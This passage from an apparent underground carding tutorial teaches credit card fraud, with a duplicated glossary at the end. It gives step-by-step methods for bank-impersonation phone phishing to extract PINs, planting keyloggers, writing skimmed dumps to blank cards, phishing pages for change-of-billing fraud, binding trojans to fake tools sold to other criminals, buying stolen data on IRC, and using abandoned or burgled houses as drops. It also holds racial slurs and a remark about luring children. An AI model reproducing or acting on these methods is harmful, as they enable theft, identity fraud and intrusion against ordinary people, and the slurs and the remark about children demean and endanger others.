the info from the receipt you get a copy of for yourself and note down the pin on this as well when/if you
|
||
get it.
|
||
Trashing
|
||
Trashing for receipts and credit reports (pretty outdated although still works)
|
||
Ever heard the expression "Another man's trash is another man's gold"? That's exactly what this is. You'd
|
||
be surprised how many people haven't heard of a paper shredder or bonfire. They just dump their
|
||
financial records containing SSN's/NI, full name, address, bank, credit card number, CVV, CVV2 etc. All
|
||
on forms people couldn't be bothered to dispose of properly because they thought they were JUST old
|
||
records. Again carders wok on the inside again for when they want to do trashing, a lot of janitors wear
|
||
rags but you'd be surprised how secretly rich most of them are (along with the other shit they steal from
|
||
work as well). But also from this if there is not enough info for you on the forms then there is definitely
|
||
the phone number of the mark on the form that they've scrapped; almost always, and if not then there is
|
||
enough info on their to look them up in the phone directory. Then of course you use social engineering
|
||
skills over the phone to get the extra info that you need. If you know of a store that is not carbonless, then
|
||
go trashing in the bins at the back of the store for the receipts with the credit card details on it.
|
||
Phishing over the phone
|
||
Phishing over the phone for details
|
||
Ever had telemarketers ask for your credit card info over the phone? (this is if you haven't already hung
|
||
up by just hearing a nigger or paki on the phone) chances are they're a carder. Believe it or not there are
|
||
|
||
people actually stupid enough to fall for these obvious scams. Even more people fall for this if they
|
||
believe that the caller is from the credit card company itself or part of the secret service or credit fraud
|
||
investigations; the FBI, CIA and police have nothing at all to do with credit card fraud believe it or not. If
|
||
you sound professional or part of an important group such as investigations then people are more likely to
|
||
comply with you if they believe that their card has been used for credit fraud purposes and have to give
|
||
their credit card info and billing address for verification. The best time to call up the mark is when they
|
||
are at work as it'll take them by surprise and they'll be wanting to get it sorted asap so that they can get
|
||
back to work. Also if it's "serious" then the secret service don't wait for you to finish work before they
|
||
question you. Play along well to the part you're pretending to be. Some social engineering skills are
|
||
required and you must gain the experience of lying to people yourself. Before calling up the person find
|
||
out as much information about them as you can.
|
||
If you've stolen a CC from someone personally you can call them up pretending to be their bank and tell
|
||
them there has been some suspicious charges made to the credit card from places such as South Africa,
|
||
Nigeria, Turkey, Russia; places like that, get them to confirm their details (milk as much as you want out
|
||
of them, ask them bullshit security questions such as their mother's maiden name, address, etc; you may
|
||
as well, it'll make it easier to get a COB for you to use).
|
||
You can also get their PIN out of them if you want as well by either straight out asking them to confirm
|
||
it, or be crafty and after you've told them to verify their PIN you're putting them through to a different
|
||
department; then play some cheesy music down the phone for a few mins, have a female voice recording
|
||
(use AV vocie changer) asking them to input their PIN on their dialpad (this won't be as suspicious); get
|
||
these recorded so they can be decoded with DTMF decoding hardware/software later (although it's
|
||
expensive). Guessing DTMF tones is pretty easy too, but you need to know what each tone sounds like,
|
||
it's preferred to use decoding software to ensure you have it correct.
|
||
If you try hard enough you can get full info about anyone over the phone (I suggest using spoofcard for
|
||
this).
|
||
Keylogging for CVV2s
|
||
Hardware keylogging
|
||
First of all it's best if you use hardware keyloggers here that you put into the keyboard of a computer
|
||
belonging to an area where a lot of people are going online a lot and logging into e-mails, ebays, paypals
|
||
etc, pretty much giving you enough info for you to go searching through if you get in their e-mails, or
|
||
maybe you're lucky enough to get someone who is buying something online anyway. Get the keyloggers
|
||
from here:
|
||
Code:
|
||
http://tyner.com/datalogger/keykatcher.htm
|
||
And come back within 2 days time or so and collect the keylogger after doing some browsing yourself (as
|
||
to not look suspicious just coming in and then leaving a few seconds later).
|
||
Or of course you could set one up in a business and do the classic call in and do some social engineering
|
||
from the credit card company or secret service and have them go to the bank online and have them log in
|
||
to verify, or maybe even have them log in to a fake bank online made by yourself that will collect
|
||
anyone's info who logs in on it.
|
||
Carding Instore
|
||
Instore carding is the act of skimming a credit card and writing the dumps and track1+2 to a CR-80 piece
|
||
of plastic and then either cashing out at the ATM or shopping for goods instore, as long as you have the
|
||
PIN as well through whatever method you choose to use.
|
||
How it's done is through the use of thejerm software or any other magstripe utility software (thejerm is
|
||
the best to use). And you do it like this:
|
||
Written by: Acetrace
|
||
1. Load up thejerms software
|
||
|
||
2. hit settings tab
|
||
3. hit "Defaults" in Leading Zeros box
|
||
4. hit "75 bpi" in Set Track 2 density box
|
||
5. go bak to actions
|
||
6. hit LoCo or HiCo in Coercivity box, depending on which you want to do
|
||
7. input your tracks 1 & 2 (without the % ; or ? symbols because the program already does it for you)
|
||
8. hit Write Card and swipe your card. (i usually do a read card afterwards to make sure everything went
|
||
ok)
|
||
9. GO SHOPPING!!!
|
||
Download thejerm from here:
|
||
Code:
|
||
PM ME FOR DOWNLOAD LINKS (OMNISCIENT)
|
||
I was a member of this site and it came from there so don't worry about it not being safe, I used this
|
||
software a lot back in the day.
|
||
Now how you should act when you go carding instore is pretty much common sense, but some people get
|
||
caught up in the moment with nerves, cockiness or just too much weird amounts of excitement.
|
||
Simple what you do, make sure you KNOW the PIN for the card you're using before you go, don't be
|
||
stuck at the counter trying to remember it. If you're going to be carding expensive goods then dress smart
|
||
for the occasion, wear brand named clothing (that you've previously carded ) or even a suit. It would
|
||
look suspicious someone with a hoodie going into a store and buying a Louis Vuitton watch, so walk in
|
||
with style. When you go instore, you ACT like you are using your own card, because essentially that's
|
||
what it is (well it is now anyway lol) no looking shifty and don't look at the fucking cameras; the cameras
|
||
mean nothing anyway, they don't know your name or where you live, they're not being watched half of
|
||
the time, so stop worrying about the fucking cameras; remember you're doing nothing wrong. When you
|
||
go in, don't rush take your time, browse around some other items. Find the item you want to card and
|
||
even ask the employee simple questions about it (if it's a TV or comp just ask questions about certain
|
||
specs and if it's good for playing video games on). You'll be most nervous at the checkout, just act as
|
||
normal as you always have been, don't make too much small talk but be polite and civil. Once you have
|
||
the good sin your hands don't bolt out the door, just say thank you and then casually walk out the door,
|
||
get to your car and then celebrate all you want.
|
||
Carding over the phone
|
||
Okay 1st of all do not be a dumb fuck now, do not call from your own phones at all. For extra lulz you
|
||
could use a beige box and call from someone else's phone but that's a totally different game all together
|
||
and is also a major felony to go agains tyou on the chance that you do get caught so we'll keep it simple
|
||
and use a payphone (it's not AS risky to phreak these but the only recent red box tones I have are from the
|
||
year 2007 and I'm pretty sure they'd have changed the system again...bastards, I'll check sometime though
|
||
. The next day postage is said so that they have less time to look up details on the order. Some cards will
|
||
have difficulty shipping to any address other than the billing address, but it doesn't hurt to try. If they start
|
||
to question you then just answer the questions and talk your way around the situation with your social
|
||
engineering skills; don't just run away from the questions or hang up straight away, otherwise that is
|
||
cause for suspicion and they may investigate. If all goes well you should have your item of choice
|
||
delivered to your drop location or a house of someone else's address who you don't know and call them
|
||
up saying that you called up the store and they've sent the package to the wrong address and it is still
|
||
sending there, and ask them if they could kindly keep and sign for the package and you'll pick it up after
|
||
|
||
work (this is a last resort and only to be tried if you're good at talking to people, which you should be if
|
||
you're a carder). I recommend checking out the section on drops later on in this text.
|
||
I recommend using spoofcard for verification over the payphone, if they need to verify (if they won't send
|
||
without some verification which is usually the case).
|
||
IRC
|
||
Services provided in IRC
|
||
IRC is the main gathering for fellow carders, scam artists and rippers. To put it in a nut shell, IRC is THE
|
||
black market, unlike craigslist and eBay which are just black markets. You can get anything illegal off
|
||
IRC from CP to warez to CC details (which is what we want).
|
||
To concentrate on carding though you can buy:
|
||
CVVs
|
||
CVV2s
|
||
SSNs
|
||
Utility bill scans
|
||
CC scans
|
||
COB (a service to get someone to call up the victim's bank and get the billing address changed to your
|
||
drop)
|
||
Payment for using someone else's drop and then sending to you
|
||
Spyware
|
||
Fake ID/ ID scans
|
||
DUMPZ
|
||
Phisher pages
|
||
The list really is endless
|
||
There are a lot of advantages to using IRC networks and channels which I'll go into now:
|
||
- The channels are often underground and not known to many people, so they're harder to stumble upon
|
||
by some random guy.
|
||
- The messages can be encrypted so they can't be read by anyone happening to be on the network sniffing
|
||
the traffic. This makes it harder for investigators to uncover.
|
||
- Easier and quicker to communicate with mass amounts of like minded people.
|
||
- Variety of channels to go to if one doesn't suit you (there are MILLIONS and new ones being made
|
||
every second, guaranteed).
|
||
- And of course a varity of services, if you need something you can bet someone from the other side of
|
||
the world will be willing to share or/and sell to you.
|
||
There are a lot of disadvantages though, IRC is the equivalent of a backstreet alley, you'll be fine if you
|
||
stay cautious, here's what you should be weary of:
|
||
- Viruses
|
||
- If you don't have strong anti viruses and firewalls you will get infected (no norton shit, kaspersky and
|
||
NOD32 are what you want)
|
||
- Do not accept random .exes or any file for that matter
|
||
- It is easy to get ripped off, choose your forms of payments and who you deal with wisely
|
||
How to find carding channels (Will not go too much into this as there are secrets between fellow carders
|
||
which we like people interested enough to find out for themselves)
|
||
Here is the most commonly asked question I get asked by n00bies and fellow carders; where do you find
|
||
these channels?
|
||
If I'm being totally honest the best place to find out about them is through Nigerians; no bullshit that is
|
||
|
||
where I found out about a lot of the carder channels I used, also how I found out about forums and their
|
||
IRCs too such as cardersplanet, darkmarket etc. How I found him out was just on a normal scam bait I
|
||
was doing, it wasn't a long one, but in the end he tried phishing me so I tried back and we had a laugh
|
||
about it; I was straight up with him and told him I wanted to get deeper into the game, I looked up to his
|
||
type of people and wanted to get rich/successful (I also shared the double claim secret about paypal with
|
||
him which got him trusting me a little bit) he then sent me an invite to cardersplanet (this site was full of
|
||
Nigerians). Eventually I went in the IRC (admittedly got ripped a few times) then started vending myself
|
||
under various diff nicknames, then moved onto different sites like darkmarket and cardingzone when I'd
|
||
got invites for them (although cardingzone is shit it's good to get in the IRC for starting off, you'll get
|
||
invited to better forums the more you hang out in IRC, trust me). Don't ask me for invites to cardingzone,
|
||
I was banned for ripping (I didn't rip anyone :angry
|
||
The quicker way is to use these and search for certain keywords:
|
||
Code:
|
||
http://www.irclinux.org
|
||
http://www.irctrace.com
|
||
http://www.irclog.org
|
||
http://www.rcarchive.info
|
||
http://www.irc-chat-logs.com
|
||
http://www.irseek.com/
|
||
And of course don't forget google.
|
||
I'm only going to give you one clue for searching through google for a carding IRC, and that word is
|
||
"undernet".
|
||
Fellow carders don't like revealing their IRCs, and for obvious reasons.
|
||
My advice is find a scammer through e-mail, and chat to him; be witty with it but be respectful to a fellow
|
||
fraudster.
|
||
Vendors and how to approach them
|
||
Vendors are the people in IRC who are selling and providing the services for you. There are certain ways
|
||
you should speak to vendors otherwise they're going to rip you (remember this is the black market, this is
|
||
just like going up to a random drug dealer in the street and not knowing what you really want or what
|
||
you're getting into; you'll get ripped off). Ask as many questions as possible of what you want to know, if
|
||
you're buying a CVV2 ask to see proof of their details working (get them to make a small purchase
|
||
somewhere; they should show you a before and after and the limits that are there on the card [there are
|
||
methods out there of checking your balance; you can even get it through text/sms]. This is a market so
|
||
remember there are more people that will be willing to buy from that vendor, it's open for all, you can get
|
||
a full load of info including dumps for as low as ?3/$5, drops usually go for ?7; if someone is saying
|
||
higher prices don't be afraid to haggle down to these prices or a little bit lower. COBs go for a little bit
|
||
higher in ranges of ?15-?20 because the vendor needs to get full info on someone and then change the
|
||
billing address through the bank to where ever your drop is.
|
||
Now when you go in the channel don't fucking say or request anything, shut up and see what the vendors
|
||
are saying they have to offer and then send them a private message and talk to them. If any "vendor"
|
||
messages you 1st trying to push onto you to buy from them then they're most likely a ripper; however
|
||
don't piss off the rippers or assume someone is a ripper because you never know who is going to be there
|
||
to help you out later on down the line or who might be pissed off enough to fuck you over.
|
||
I can't give any big advice on not getting ripped in IRC because you don't personally know anyone in
|
||
there at all, you just have to take your chances (expect to get ripped your 1st few times going in there, just
|
||
don't go to them again, because if they get away with it once they'll definitely try again if you go back to
|
||
them).
|
||
DO NOT BUY ANY WU BUG(Western Union Bug); it is a massive ripper technique which is bullshit.
|
||
|
||
The WU BUG used to work but was patched a looong time ago, most of the time now you'll get nothing
|
||
or you'll end up with a rootkit on your comp. Rippers always say ridiculous prices for these too such as
|
||
$200+; but if someone says lower prices it's still bullshit and most likely a rootkit/trojan/keylogger going
|
||
to be installed on your machine while you get some useless program that does nothing.
|
||
Ripping
|
||
Easy as hell to do, not much photoshop skills needed really either.
|
||
Bullshit and say you're selling full info (you're getting the info from fakenamegenerator.com or any credit
|
||
card gen program; of course they don't fucking work), if they want to see proof just use your own legit
|
||
CC or another stolen CC to buy something and show them proof of you buying it, except photoshop the
|
||
details to that which you're going to be giving him later. Take payment through Western Union ONLY
|
||
(since e-gold isn't around anymore), then just send him the bullshit info.
|
||
If they want the report to go to their phone via SMS then just spoof a text with an sms bomber saying
|
||
some bullshit reports. Then get the payment via WU.
|
||
To get victims you message them 1st, message out in the whole channel 1st and then PM random buyers
|
||
(look for ones requesting).
|
||
::::WU BUG::::
|
||
seriously this is bullshit, all people are doing are showing buyers fake screenshots made in PS or are
|
||
actually making quick programs themselves and taking screens of them and then selling them, although
|
||
essentially they're useless. You want to do this, but you want to actually send them a file as well, but bind
|
||
a keylogger or trojan to it; not only can you rip them out of their cash to buy your infection but the info
|
||
you get from spying on them will be so much more as well ranging from their info to other stolen CC
|
||
info, you'll have a backdoor on what they do and can exploit it.
|
||
If you can't be bothered making fake screenshots then get them from other rippers trying to sell them, get
|
||
them to show you pics, vids and info; then use it for yourself and rip some n00bs.
|
||
Phishing for Change of billing
|
||
A billing address is the details used for a person's bank account and most often their credit cards and
|
||
everything else too, this includes their phone number too.
|
||
What a change of billing (COB) is in a nutshell is changing the billing address registered to the card to
|
||
your drop address you're gonna be using. When you want to card BIG at various online websites the
|
||
orders will look more legit that you're not sending it else where other than the one registered to the card
|
||
(obviously after you've changed the billing address), meaning the delivery of your goods will be quicker
|
||
and will require a lot less verification.
|
||
Most of the time you change the billing address over the phone but SOME banks will let you do it online;
|
||
when you phone up to change it you use spoofcard.com or the pay as you go mobile phone you're going
|
||
to be using when carding, or beige boxing
|
||
When changing the billing address you need to know as much info as possible about the person's billing
|
||
address you're changing, because the bank is going to ask you 3 security questions you set (such as
|
||
mother's maiden name) before they change it.
|
||
You can phish for details over the phone (see the phishin over the phone section above), however it's best
|
||
to use keyloggers and phisher pages for this with a MIX of over the phone.
|
||
Use through phishing pages
|
||
2 methods here, 1 including over the phone, one isn't.
|
||
The method without the phone is to just send a ton of e-mails out to random people and send them a html
|
||
|
||
e-mail telling them they need to update their information before the account is suspended or their account
|
||
with the bank will be cancelled, you have them go to a phisher page off the template and the phisher
|
||
pages "requires" them to answer security questions like their mother's maiden name, their pet's name, you
|
||
know those type of questions.
|
||
Another method is to call them up pretending to be the bank and saying there have been different ip
|
||
ranges logging on their account and they need to confirm their details online, link them to the phisher
|
||
page and have them fill in the details; have the phisher page redirect to the actual online bank's login
|
||
page; then ask if they've done that over the phone, tell them to wait a minute while you confirm and check
|
||
it all out, say it's all clear and tell them to log in, they'll think nothing of it and you now have the answers
|
||
to their secret questions which you can give to the bank itself when you go to change the billing address.
|
||
Use through keylogging
|
||
This is my favourite method and what I told S_E last night in IRC.
|
||
You have a hardware (or software) keylogger set on someone's comp, use sock proxies when logging into
|
||
their online bank account and then change their password, call them up pretending to be the bank and then
|
||
get them to go to the actual online bank link and fill in their forgotten password options (answering secret
|
||
questions) or of course get them to go to your phisher page and fill in the details (this is if you want to
|
||
add more fields to get more info) then pretend to be checking it all over, then change their password again
|
||
to some random letters and numbers and give it to them to log back in (it doesn't matter because they're
|
||
keylogged and you'll get their new login if they change the password again anyway), you'll have all their
|
||
info logged down too for you to answer your questions when you call the bank.
|
||
Best time to do all of this is around the 10th day of the month (people usually get their credit reports at
|
||
the start of every month), this will give you plenty of time to card enough for the remaining days until
|
||
they see they're not getting their reports coming to them anymore (if you're crafty you can pretend to have
|
||
cancelled the online bank account for them after they've gave you the info you need to know; I used to do
|
||
this method and keep it going without them knowing).
|
||
You need as much info as possible when calling up the bank to change the billing address.
|
||
Drops and what you need to know about them
|
||
Drops and what you need to know about them
|
||
What drop locations are and what they?re used for
|
||
Well simply a drop location is an abandoned house, or any house that is not under your name or any of
|
||
your details. You can lead young children into these to make a sexy time with them, get items delivered to
|
||
them that you want no one else to find about or risking finding, or just use it to squat in if you have no
|
||
where else to go. Basically they are used in ways of keeping your nose clean and are used by mostly scam
|
||
artists and sex offenders.
|
||
How to find a drop location
|
||
There are many ways of finding a drop location for use, whether it temporarily or permanently (although I
|
||
suggest swapping and changing locations because my main last one I used got raided or broken into and
|
||
is boarded up and too hot to use); I will suggest 3 ways on how you can find some for you to use.
|
||
One final tip is don?t bother going for houses that are boarded up at the front where it is visible to passers
|
||
by (it?s okay if round the back is boarded up)
|
||
Way #1
|
||
As just mentioned you can go about it many different ways but one of the ways the way I prefer to go
|
||
about it is you should be looking around some older housing estates and more ghetto areas (could also tie
|
||
in with the sob story you feed to a paedophile/child predator you are possibly scamming). For example in
|
||
Derby there is an area called Sinfin, but now there is 2 parts to it and they are New Sinfin and Old Sinfin.
|
||
Old Sinfin is the are you would want to go to, because it?s older it?s most likely to be alot more houses
|
||
abandoned or deemed unsafe (it?s bullshit).
|
||
|
||
Or if you were lucky like I once were then you could ask around your mates if there are any empty houses
|
||
in their area. If there are then you?re in luck and can even have your friend keep tabs and watching over it
|
||
for you and give you details so you can keep it all under wraps and safe. It may be alot riskier with
|
||
neighbour hood watch morons, and nosey neighbours, but it?s still ideal and a little bit less suspicious
|
||
than the abandoned houses in the older estates, and this is because the older estates usually have all
|
||
abandoned houses close by, where as the odd one out covered with a street filled with inhabitants will
|
||
seem less suspicious to the postman.
|
||
Way #2
|
||
Now this is a temporary way of finding a drop location, but is sometimes an effective ways and means of
|
||
getting what you need but has a bit more risk to it; and personally is a way I have never used even till
|
||
today.
|
||
Have you ever been eavesdropping on a conversation between a neighbour and one of their family
|
||
member?s or friends?, or been down the pub and heard the common as muck chavs boasting about a
|
||
holiday they are going away on for however long they say they?re going away for?
|
||
Well listen out for these type of conversations. Because them away on holiday means the house is most
|
||
likely going to be empty for however long they?re going away for. So if you already know where they
|
||
live then that?s great the job is made easier; if you know their first name and surname then look them up
|
||
in the phone directory and find their address to go along with the number. If you don?t know where they
|
||
live, or their name then just listen out to see if you can hear their names come up in conversation; just
|
||
remember that if it?s in the pub it?s most likely local to it that they live, so you could easily find out by
|
||
following them home and seeing.
|
||
Way #3
|
||
Possibly the safest, easiest way of finding, and quickest way to get a drop location.
|
||
Most areas have houses up for sale am I right?
|
||
Or houses that are up for bidding on, am I right?
|
||
Well they have a website with a full list of your local area(s) that have houses up for bidding on and for
|
||
sale.
|
||
For example I would search Derbyhomefinders and look at the list on their site.
|
||
All of these houses are empty and often do not have a sign up outside them either (if they do then just
|
||
take it down and hide it somewhere for the time being).
|
||
The advantage to using the lists to find the drop locations to use is it will usually say when the bid is up or
|
||
if the house has been sold (this lets you know that it will not be ideal to use that certain house now it?s
|
||
most likely to be inhabited) and will have the houses on there that are still being bidded on and that are
|
||
still up for sale, these are the ones you want to be using.
|
||
The best thing about this though is that you have a full list of many different drops to use (like I said
|
||
earlier it?s best to switch drop locations and use many different ones) and it is updated with new ones
|
||
coming up and tells you full which ones are over and not usable.
|
||
You just need to know your agencies for housing and find their website.
|
||
Obtaining and using drop locations
|
||
You?re probably thinking now I?ve got/found one that?s great and everything but how the fuck do I keep
|
||
it a secret?
|
||
for way 1
|
||
|
||
this much is obvious that you do not tell anyone except your partner if you?re doing a team bait, and 1
|
||
trustworthy friend to keep tabs on it if you are doing a bait on your own, and also the paedophile, but only
|
||
when he asks. But there is alot more to it than that, also maintaining your abandoned house and making
|
||
the postman think someone living there.
|
||
Appearance isn?t everything at all in any case and it isn?t for this either, but of course you try to make
|
||
yourself look as best as you can. The same principles are applied to keeping an abandoned house; you
|
||
should atleast try to get a new lock put on the door which you will also have a key for; just so that if any
|
||
druggies go there before you then they will have a tougher time getting in (of course it?s ideal you don?t
|
||
get somewhere known to druggies but this is an example of what use it could have) but also if there is a
|
||
fucked up lock on a door then it?s pretty damn obvious only low life scum or some criminal(s) are using
|
||
the place, so buy a new lock for the door and get it fitted on, whether you do it yourself or get assistance
|
||
from a friend who knows what they are doing.
|
||
Now as for overgrowing plants and weeds, you can only do so much without being suspected. Do not use
|
||
a lawn mower, use clippers and hack it as short as you can. It?s best to get all of this done when everyone
|
||
is at work during the day time; but in reality it isn?t ideal at all and most criminals don?t tend to bother
|
||
with this. Instead they will make it seem someone is in but is just too ill to do anything with the garden or
|
||
is just a lazy fucker. They do this by often writing up a note and sticking it to the door or leaving it on the
|
||
floor near the door saying something such as "No milk today please" or "Not in, please leave packages at
|
||
post office".
|
||
Write a few letters to yourself aswell ready to come on the same day as the parcel, this will make it look
|
||
like you get mail and not just the one off suspicious package now and then.
|
||
Now 2 alternatives, you can either get to the abandoned house and take the mail from the mailman while
|
||
acting like you live there (you must look the part as lazy or disabled if you have ingrown plants in "your"
|
||
garden) or you can leave a note saying to take any packages to the post office for pick up because you are
|
||
at work or something along those lines.
|
||
One final rule is do not be in and out of the hideout everyday or whatever, visit probably 2 or 3 times a
|
||
week.
|
||
Way 2
|
||
Now there are 2 ways to go about this; you can either just get to the house early in the morning a little bit
|
||
just before the postman arrives and be at the house outside pretending you?re just about to leave and then
|
||
sign for the package (if you need to) and collect it off the postman and then be on your way after he?s
|
||
gone. Or if you?re good at bypassing alarms (I have a guide on burglary) or the house has no alarm then
|
||
you could bump key in at night time (not recommended) or during the day time the day before when
|
||
everyone else will be at work aswell, and hide out there for a bit (hell even take some food that is left in
|
||
the fridge and feed yourself since you?re spending the rest of the day and early morning there). Basic
|
||
rules are don?t have tv on too loud if at all, or if you do then put head phones on into the tv if it?s that old
|
||
of a model, and leave everything how it was left an say upstairs so incase any neighbours or anyone
|
||
looking after the house while the owners are away come in then you have time to hide.
|
||
Obviously if it?s a package you don?t have to sign for then you can stick up a note on the door early in
|
||
the morning before the post man comes saying to leave it round the back or what ever excuse you wanna
|
||
make up.
|
||
Way #3
|
||
Easy, just as previously except you don?t have to be as cautious and often the alarms are disabled for that
|
||
time being anyway so you don?t have to worry as much if you bump key into it.
|
||
As also stated previously in this guide, if there are any up for bidding/for sale signs then take them down
|
||
and just get them out of the way.
|
||
|
||
You can even go to this one the night before instead of day time because no one is hardly going to be
|
||
watching over this unless it?s in a neighbourhood watch area (in which case you chose the wrong area
|
||
anyway, you dumbass).
|
||
Some basic tips to keep in mind
|
||
-- Be there before the postman! can?t stress this enough, it?s too fucking obvious if you?re late.
|
||
-- When signing for packages, if you need to, then sign a fake signature (the sig can be any made up fake
|
||
shit) with your hand that you don?t write with, so it?s harder to trace incase things go tits up later on
|
||
down the line.
|
||
-- Take anything in any guide with a pinch of salt, things may be different circumstances for you and your
|
||
situations; guides are to b
|
||
Carding Vocabulary/Chat
|
||
-CC's that start with number 3xxx-xxxx-xxxx-xxxx are AMEX (or AmericanExpress) and their cvv2 is
|
||
with 4 digits (some RARE times with 3)
|
||
-CC's that start with number 4xxx-xxxx-xxxx-xxxx are VISA and their cvv2 is with 3 digits
|
||
-CC's that start with number 5xxx-xxxx-xxxx-xxxx are Mastercard and their cvv2 is with 3 digits
|
||
-CC's that start with number 6xxx-xxxx-xxxx-xxxx are Discover(or Novus) and their cvv2 is with 3 digits
|
||
(some RARE times with 4)
|
||
-------------------------------------------------------------------------
|
||
Bank-emitent (Issuing bank) - bank which has issued the card
|
||
Billing address - the card owner address
|
||
Drop - innerman. His task is to receive the money or goods and, accordingly, to give the part of the
|
||
earnings to you.
|
||
Biling - office, which has agreement with a bank. Also this office assumes payments for the cards.
|
||
Card bill - it's a Bank emitent card bill.
|
||
Bank-equirer - bank, in which the store opens the account.
|
||
Merchant account - bank account for accepting credit cards.
|
||
Merchant Bank - bank, through which occur the payments between the buyer and the salesman
|
||
(frequently it is used as synonym "bank-equirer").
|
||
Cardholder - owner of the card.
|
||
Validity - suitability card using.
|
||
White plastic - a piece of the pure plastic, where the information is plot.
|
||
CR-80 - rectangular piece of pure white plastic (without the drawing image) with the size of a credit card
|
||
|
||
with the magnetic strip.
|
||
Transaction - charege to the credit card
|
||
POS terminal (Point Of Sale terminal) - reading card device, which stands at commercial point.
|
||
PIN-code - the sequence, which consists of 4-12 numbers. It is known only to the owner of card. By
|
||
simple words password for the work with ATM and so on.
|
||
AVS - the card owner address checking. It is used for the confirmation of the card belonging exactly to its
|
||
holder.
|
||
"Globe" - card holographic gluing with the image of two hemispheres (MasterCard).
|
||
Pigeon (hen) - card holographic gluing with the image of the flying pigeon (VISA).
|
||
Reader - information reading device for the readout from the magnetic strip of card.
|
||
Encoder - read/write device for the magnetic track of the card.
|
||
Embosser - card symbol extrusion device.
|
||
Card printer - card information printing device.
|
||
Exp.date - card validity period.
|
||
Area code - the first of 3 or 6 numbers of the card owner phone.
|
||
CVV2, cvv, cvn - 3 or 4 additional numbers, which stand at the end of the number of card.
|
||
ePlus - program for checking the cards.
|
||
BIN - first 6 numbers of the card number due to those it is possible to learn what bank issued out the card
|
||
and what is the type of this card (ATM-card, credit, gold, etc.). Synonym of word "Prefix".
|
||
Chargeback - the cardholder's bank voids the removal of money from its card.
|
||
Dump - information, which is written to the magnetic strip of the card, it consists of 1,2 or 3 tracks.
|
||
Track (road) - a part of the dump with the specific information. Every 1-st track is the information about
|
||
the owner of the card, 2-nd track - information about the owner of card, about the bank issued the card,
|
||
etc. 3-rd track - it is possible to say - spare, it is used by stores for the addition of the points and other.
|
||
Slip - synonym to the word "cheque" (conformably to card settlings).
|
||
Card balance - money sum that finding on the card account.
|
||
MMN Mothers Maiden Name, important if you want to change the billing address
|
||
some terms:
|
||
Automated Clearing House (ACH) - the automated clearing house. The voluntary association of
|
||
depositors, which achieves clearing of checks and electronic units by the direct exchange of means
|
||
between the members of association.
|
||
Continuous Acqusition and Life-cycle Support (CALS) - the integrated system of the production
|
||
guaranteeing, purchase and expluatation. This system makes possible to computerize all data about the
|
||
|
||
design, development, production, servicing and the propagation of the production.
|
||
Debit Card - Card, which resembles the credit card by the method of using, but making possible to realize
|
||
direct buyer account debiting at the moment of the purchase of goods or service.
|
||
Delivery Versus Payment (DVP) - the system of calculations in the operations with the valuable papers,
|
||
which ensures the mechanism, which guarantees that the delivery will occur only in the case of payment
|
||
and at the moment of payment.
|
||
Direcht debit - payment levy method, mainly, with the repetitive nature (lease pay, insurance reward, etc.)
|
||
with which the debitor authorizes his financial establishment to debit his current account when obtaining
|
||
of calculation on payment from the indicated creditor.
|
||
Electronic Fund Transfer (EFT) - the remittance of means, initiated from the terminal, telephone or
|
||
magnetic carrier (tape or diskette), by transfer of instructions or authorities to financial establishment, that
|
||
concern to the debiting or crediting of the account (see Electronic Fund Transfer/Point of Sale -
|
||
EFT/POS).
|
||
Electronic Fund Transfer/Point of Sale - EFT/POS - debiting from the electronic terminal, for the means
|
||
transfer purpose from the account of a buyer into the payment on the obligations, which arose in the
|
||
course of transaction at the point of sale.
|
||
Integrated Circuit (IC) Card - It is known also as chip card. Card equipped with one either several
|
||
computer micros-chip or integrated microcircuits for identification and storing of data or their special
|
||
treatment, utilized for the establishment of the authenticity of personal identification number (PIN), for
|
||
delivery of permission for the purchase, account balance checking and storing the personal records. In
|
||
certain cases, the card memory renewal during each use (renewed account balance).
|
||
Internet - the open world communication infrastructure, which consists of the interrelated computer
|
||
networks and which provides access to the remote information and information exchange between the
|
||
computers.
|
||
International Standardisation Organisation (ISO) - International organization, which carries out
|
||
standardization, with the staff office in Geneva, Switzerland.
|
||
Magnetic Ink Character Recignition (MICR) - System, which ensures the machine reading of the
|
||
information, substituted by magnetic inks in the lower part of the check, including the number of check,
|
||
the code of department, sum and the number of account.
|
||
RSA - the coding and autentification technology, developed in 1977 in MIT by Rivest, Shamir and
|
||
Adel'man, which subsequently opened their own company RSA Data Sechurity, Inc., purchased recently
|
||
by the company Security Dynamics Technologies, Inc.
|
||
Real-Time Gross Settlement (RTGS) - the payment method, with which the transfer of means is achieved
|
||
for each transaction in obtaining of instructions about the payment. Decrease the risk with the payment.
|
||
SSN (Social Security Number) - nine-digit number issued in US only to an individual. Its primary
|
||
purpose is to track individuals for taxation purposes.
|
||
Smart Card - card equipped with integrated circuit and microprocessor, capable to carrying out the
|
||
calculations.
|
||
System risk - the risk, with which the incapacity of one of the payment system participants either
|
||
financial market participants as a whole to fullfill their obligations causes the incapacity of other
|
||
participants or financial establishments to fulfill its obligations (including obligations regarding the
|
||
realization of calculations in means transfer systems) properly. This failure can cause significant liquidity
|
||
|
||
or crediting problems and, as result, it can cause loss to the stability of financial markets (with the
|
||
subsequent action on the level of economic activity).
|
||
Truncation - procedure, which makes it possible to limit the physical displacements of a paper document,
|
||
in the ideal version, by the bank of the first presentation, by the replacement by electronic transfer of
|
||
entire or part of the information, which is contained on this document (check).
|
||
Tipper - a machine designed for use with PVC plastic cards to create raised print. (basically a plastic card
|
||
embosser)
|
||
COB - Change of billing. Used for online carding, to change the billing address of a card since Online
|
||
Stores will only ship large items if the billing and shipping address match. You can obtain these from
|
||
vendors in CP. Once you have this, you can easily change the card address to that of your drop so that the
|
||
stores ship items to your drop, since the billing and shipping addresses will match.
|
||
DOB - Date of birth of the card owner
|
||
Carding Vocabulary/ TERMS
|
||
-CC's that start with number 3xxx-xxxx-xxxx-xxxx are AMEX (or AmericanExpress) and their cvv2 is
|
||
with 4 digits (some RARE times with 3)
|
||
-CC's that start with number 4xxx-xxxx-xxxx-xxxx are VISA and their cvv2 is with 3 digits
|
||
-CC's that start with number 5xxx-xxxx-xxxx-xxxx are Mastercard and their cvv2 is with 3 digits
|
||
-CC's that start with number 6xxx-xxxx-xxxx-xxxx are Discover(or Novus) and their cvv2 is with 3 digits
|
||
(some RARE times with 4)
|
||
-------------------------------------------------------------------------
|
||
Bank-emitent (Issuing bank) - bank which has issued the card
|
||
Billing address - the card owner address
|
||
Drop - innerman. His task is to receive the money or goods and, accordingly, to give the part of the
|
||
earnings to you.
|
||
Biling - office, which has agreement with a bank. Also this office assumes payments for the cards.
|
||
Card bill - it's a Bank emitent card bill.
|
||
Bank-equirer - bank, in which the store opens the account.
|
||
Merchant account - bank account for accepting credit cards.
|
||
